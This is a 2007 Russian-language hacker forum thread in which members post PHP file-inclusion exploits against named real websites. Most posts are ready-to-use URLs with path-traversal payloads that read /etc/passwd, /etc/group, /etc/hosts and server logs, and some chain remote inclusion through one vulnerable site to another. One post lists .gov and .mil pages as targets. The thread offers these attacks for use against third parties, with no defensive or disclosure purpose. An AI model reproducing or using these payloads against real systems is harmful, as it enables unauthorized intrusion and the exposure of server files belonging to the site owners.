PHP Иньекции

Discussion in 'Уязвимости' started by Joker-jar, 20 Apr 2007.

  1. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Code:
    http://www.avto-bike.ru/osn.php/?id=../../../../../../../../../../../../../../../../../../../../etc/passwd&tema=guard
     
  2. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://www.newsall.net.ru/news02.php?menu=no&news=
     
  3. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Code:
    http://www.cs.wright.edu/~pmateti/InternetSecurity/Lectures/Password/etc-passwd.txt
     
  4. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    • Работаем чисто по PHP-INCLUDE[антИБоян]
    • PHP-INCLUDE[антИБоян] отсортированно/удаленно дубликаты
    • Берусь за PHP-INCLUDE[антИБоян] следить/делать [update]
     
    2 people like this.
  5. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    Code:
    http://acvecc.org/page.php?page=../../../../../../../../../etc/passwd
    http://acvecc.org/page.php?page=../../../../../../../../../etc/hosts
    http://acvecc.org/page.php?page=../../../../../../../../../etc/group
    http://acvecc.org/page.php?page=../../../../../../../../../etc/services
    
     
  6. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    Code:
    http://www.uganda.sfgd.org/index.php?page=../../../../../../../../../../../../etc/passwd
    http://www.uganda.sfgd.org/index.php?page=../../../../../../../../../../../../etc/group
    
     
    1 person likes this.
  7. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://eng.sttu.ac.ir/main.php?BodyFile=../../../../../etc/passwd

    http://eng.sttu.ac.ir/main.php?BodyFile= http://www.thebigloop.com/porta...ads=0&bodyfile=../../../../../etc/passwd&ma=Y
     
    #147 SWAT, 11 Jun 2007
    Last edited: 11 Jun 2007
  8. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    1. file_get_contents()
     
  9. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    Ловите
    Code:
    http://childrengoldentriangle.org/static/main.php?page=../../../../../../../../../../../../../etc/passwd
    http://childrengoldentriangle.org/static/main.php?page=../../../../../../../../../../../../../etc/group
    
    Code:
    http://iaald.org/cee/index.php?page=http://childrengoldentriangle.org/static/main.php?page=../../../../../../../../../../../../../etc/passwd
    http://iaald.org/cee/index.php?page=http://childrengoldentriangle.org/static/main.php?page=../../../../../../../../../../../../../etc/group
    
    Code:
    http://www.teamabrisud.org/index.php?page=../../../../../../../../../../../../../etc/passwd
    http://www.teamabrisud.org/index.php?page=../../../../../../../../../../../../../etc/group
    
     
    1 person likes this.
  10. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://tztour.ru/sanatory.php?
     
  11. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://romadan.bdk.com.ru/index_files/texts/txt.php?text= http://solarworld.ru/map.php?p=[url]&t=6 http://www.heraeus-wch.ru/load.php?part=[url]
     
    #151 SWAT, 12 Jun 2007
    Last edited: 12 Jun 2007
  12. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    1. include().
    2. include().
    3. include().
     
    #152 NOmeR1, 12 Jun 2007
    Last edited: 12 Jun 2007
    2 people like this.
  13. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    .ee
    Code:
    http://www.sauepuit.ee/index.php?page=[url]
    
     
  14. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    Code:
    http://www.whalecall.org/index.php?page=../../../../../../../../../../../etc/passwd
    http://www.whalecall.org/index.php?page=../../../../../../../../../../../etc/hosts
    
     
  15. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    Code:
    http://thecrums.org/?page=../../../../../../etc/passwd
    http://thecrums.org/?page=../../../../../../etc/hosts
    http://thecrums.org/?page=../../../../../../etc/group
    http://thecrums.org/?page=../../../../../../var/log/httpd/access_log
    
     
  16. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    ИГРАЕМ ПО КРУПНОМУ!!!
    .GOV
    http://www.mli.nih.gov/funding/assay_dev_fund_res_cycle3.php?=
    http://www.nassaucountyny.gov/login/newusrfrm.php?=
    http://www-cmls.llnl.gov/?url=
    http://www.doc.nv.gov/news/display.php?article_id=
    http://digitalpreservation.gov/contact.php?=
    http://health.utah.gov/hflcra/rules/rulepage.php?Rule=

    А ТЕПЕРЬ ПОШЛИ ВОЕННЫЕ
    .MIL

    http://knowledgebase.msiac.dmso.mil/day.php?&catid=&d=31&m=7&w=6&wd=0&y=2005&s=
    http://www.nau.usace.army.mil/business/products.php?m=
    http://rad.usuhs.mil/rad/?=

    И по мелочи
    .EDY

    http://rad.usuhs.edu/medpix/menu/main_menu.html?=
     
    #156 satana8920, 13 Jun 2007
    Last edited: 13 Jun 2007
    1 person likes this.
  17. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    и что тут по крупному?
    просто сайты с ошибками нашёл 5 мин работы!!!!
     
    1 person likes this.
  18. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://gold.chelkon.ru/index.php?doc=../../../../../etc/passwd
     
    1 person likes this.
  19. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    Ребята, специально проверил все ссылки, не нашел ни одного инклуда. Зачем постить такие сообщение?
    З. Ы. Клянчить репу ето по меньшей мере тупо, лучше занялся бы чем полезным и помог кому нибудь...
     
  20. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://www.fashionistastheshow.com/index.php?node=../../../../../etc/passwd